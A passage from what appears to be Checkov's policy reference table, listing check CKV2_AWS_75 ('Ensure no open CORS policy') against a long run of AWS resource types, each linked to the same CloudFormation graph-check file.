CKV2_AWS_75 | resource | aws_s3_directory_bucket | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1354 | CKV2_AWS_75 | resource | aws_s3_object | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1355 | CKV2_AWS_75 | resource | aws_s3_object_copy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1356 | CKV2_AWS_75 | resource | aws_s3control_access_grant | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1357 | CKV2_AWS_75 | resource | aws_s3control_access_grants_instance | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1358 | CKV2_AWS_75 | resource | aws_s3control_access_grants_instance_resource_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1359 | CKV2_AWS_75 | resource | aws_s3control_access_grants_location | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1360 | CKV2_AWS_75 | resource | aws_s3control_access_point_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1361 | CKV2_AWS_75 | resource | aws_s3control_bucket | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1362 | CKV2_AWS_75 | resource | aws_s3control_bucket_lifecycle_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1363 | CKV2_AWS_75 | resource | aws_s3control_bucket_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1364 | CKV2_AWS_75 | resource | aws_s3control_multi_region_access_point | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1365 | CKV2_AWS_75 | resource | aws_s3control_multi_region_access_point_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1366 | CKV2_AWS_75 | resource | aws_s3control_object_lambda_access_point | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1367 | CKV2_AWS_75 | resource | aws_s3control_object_lambda_access_point_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1368 | CKV2_AWS_75 | resource | aws_s3control_storage_lens_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1369 | CKV2_AWS_75 | resource | aws_s3outposts_endpoint | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1370 | CKV2_AWS_75 | resource | aws_s3tables_namespace | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1371 | CKV2_AWS_75 | resource | aws_s3tables_table | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1372 | CKV2_AWS_75 | resource | aws_s3tables_table_bucket | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1373 | CKV2_AWS_75 | resource | aws_s3tables_table_bucket_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1374 | CKV2_AWS_75 | resource | aws_s3tables_table_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1375 | CKV2_AWS_75 | resource | aws_sagemaker_app | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1376 | CKV2_AWS_75 | resource | aws_sagemaker_app_image_config | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1377 | CKV2_AWS_75 | resource | aws_sagemaker_code_repository | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1378 | CKV2_AWS_75 | resource | aws_sagemaker_data_quality_job_definition | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1379 | CKV2_AWS_75 | resource | aws_sagemaker_device | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1380 | CKV2_AWS_75 | resource | aws_sagemaker_device_fleet | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1381 | CKV2_AWS_75 | resource | aws_sagemaker_domain | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1382 | CKV2_AWS_75 | resource | aws_sagemaker_endpoint | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1383 | CKV2_AWS_75 | resource | aws_sagemaker_endpoint_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1384 | CKV2_AWS_75 | resource | aws_sagemaker_feature_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1385 | CKV2_AWS_75 | resource | aws_sagemaker_flow_definition | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1386 | CKV2_AWS_75 | resource | aws_sagemaker_hub | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1387 | CKV2_AWS_75 | resource | aws_sagemaker_human_task_ui | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1388 | CKV2_AWS_75 | resource | aws_sagemaker_image | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1389 | CKV2_AWS_75 | resource | aws_sagemaker_image_version | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1390 | CKV2_AWS_75 | resource | aws_sagemaker_mlflow_tracking_server | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1391 | CKV2_AWS_75 | resource | aws_sagemaker_model | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1392 | CKV2_AWS_75 | resource | aws_sagemaker_model_package_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1393 | CKV2_AWS_75 | resource | aws_sagemaker_model_package_group_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1394 | CKV2_AWS_75 | resource | aws_sagemaker_monitoring_schedule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1395 | CKV2_AWS_75 | resource | aws_sagemaker_notebook_instance | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1396 | CKV2_AWS_75 | resource | aws_sagemaker_notebook_instance_lifecycle_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1397 | CKV2_AWS_75 | resource | aws_sagemaker_pipeline | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1398 | CKV2_AWS_75 | resource | aws_sagemaker_project | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1399 | CKV2_AWS_75 | resource | aws_sagemaker_servicecatalog_portfolio_status | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1400 | CKV2_AWS_75 | resource | aws_sagemaker_space | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1401 | CKV2_AWS_75 | resource | aws_sagemaker_studio_lifecycle_config | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1402 | CKV2_AWS_75 | resource | aws_sagemaker_user_profile | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1403 | CKV2_AWS_75 | resource | aws_sagemaker_workforce | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1404 | CKV2_AWS_75 | resource | aws_sagemaker_workteam | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1405 | CKV2_AWS_75 | resource | aws_scheduler_schedule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1406 | CKV2_AWS_75 | resource | aws_scheduler_schedule_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1407 | CKV2_AWS_75 | resource | aws_schemas_discoverer | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1408 | CKV2_AWS_75 | resource | aws_schemas_registry | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1409 | CKV2_AWS_75 | resource | aws_schemas_registry_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1410 | CKV2_AWS_75 | resource | aws_schemas_schema | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1411 | CKV2_AWS_75 | resource | aws_secretsmanager_secret | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1412 | CKV2_AWS_75 | resource | aws_secretsmanager_secret_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1413 | CKV2_AWS_75 | resource | aws_secretsmanager_secret_rotation | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1414 | CKV2_AWS_75 | resource | aws_secretsmanager_secret_version | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1415 | CKV2_AWS_75 | resource | aws_security_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1416 | CKV2_AWS_75 | resource | aws_security_group_rule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1417 | CKV2_AWS_75 | resource | aws_securityhub_account | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1418 | CKV2_AWS_75 | resource | aws_securityhub_action_target | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1419 | CKV2_AWS_75 | resource | aws_securityhub_automation_rule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1420 | CKV2_AWS_75 | resource | aws_securityhub_configuration_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1421 | CKV2_AWS_75 | resource | aws_securityhub_configuration_policy_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1422 | CKV2_AWS_75 | resource | aws_securityhub_finding_aggregator | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1423 | CKV2_AWS_75 | resource | aws_securityhub_insight | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1424 | CKV2_AWS_75 | resource | aws_securityhub_invite_accepter | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1425 | CKV2_AWS_75 | resource | aws_securityhub_member | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1426 | CKV2_AWS_75 | resource | aws_securityhub_organization_admin_account | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1427 | CKV2_AWS_75 | resource | aws_securityhub_organization_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1428 | CKV2_AWS_75 | resource | aws_securityhub_product_subscription | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1429 | CKV2_AWS_75 | resource | aws_securityhub_standards_control | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1430 | CKV2_AWS_75 | resource | aws_securityhub_standards_control_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1431 | CKV2_AWS_75 | resource | aws_securityhub_standards_subscription | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1432 | CKV2_AWS_75 | resource | aws_securitylake_aws_log_source | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1433 | CKV2_AWS_75 | resource | aws_securitylake_custom_log_source | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1434 | CKV2_AWS_75 | resource | aws_securitylake_data_lake | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1435 | CKV2_AWS_75 | resource | aws_securitylake_subscriber | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1436 | CKV2_AWS_75 | resource | aws_securitylake_subscriber_notification | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1437 | CKV2_AWS_75 | resource | aws_serverlessapplicationrepository_cloudformation_stack | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1438 | CKV2_AWS_75 | resource | aws_service_discovery_http_namespace | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1439 | CKV2_AWS_75 | resource | aws_service_discovery_instance | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1440 | CKV2_AWS_75 | resource | aws_service_discovery_private_dns_namespace | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1441 | CKV2_AWS_75 | resource | aws_service_discovery_public_dns_namespace | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1442 | CKV2_AWS_75 | resource | aws_service_discovery_service | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1443 | CKV2_AWS_75 | resource | aws_servicecatalog_budget_resource_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1444 | CKV2_AWS_75 | resource | aws_servicecatalog_constraint | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1445 | CKV2_AWS_75 | resource | aws_servicecatalog_organizations_access | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1446 | CKV2_AWS_75 | resource | aws_servicecatalog_portfolio | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1447 | CKV2_AWS_75 | resource | aws_servicecatalog_portfolio_share | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1448 | CKV2_AWS_75 | resource | aws_servicecatalog_principal_portfolio_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1449 | CKV2_AWS_75 | resource | aws_servicecatalog_product | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1450 | CKV2_AWS_75 | resource | aws_servicecatalog_product_portfolio_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1451 | CKV2_AWS_75 | resource | aws_servicecatalog_provisioned_product | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1452 | CKV2_AWS_75 | resource | aws_servicecatalog_provisioning_artifact | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1453 | CKV2_AWS_75 | resource | aws_servicecatalog_service_action | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1454 | CKV2_AWS_75 | resource | aws_servicecatalog_tag_option | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1455 | CKV2_AWS_75 | resource | aws_servicecatalog_tag_option_resource_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1456 | CKV2_AWS_75 | resource | aws_servicecatalogappregistry_application | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1457 | CKV2_AWS_75 | resource | aws_servicecatalogappregistry_attribute_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1458 | CKV2_AWS_75 | resource | aws_servicecatalogappregistry_attribute_group_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1459 | CKV2_AWS_75 | resource | aws_servicequotas_service_quota | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1460 | CKV2_AWS_75 | resource | aws_servicequotas_template | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1461 | CKV2_AWS_75 | resource | aws_servicequotas_template_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 1462 | CKV2_AWS_75 | resource | aws_ses_active_receipt_rule_set | Ensure no open CORS policy | Cloudformation | 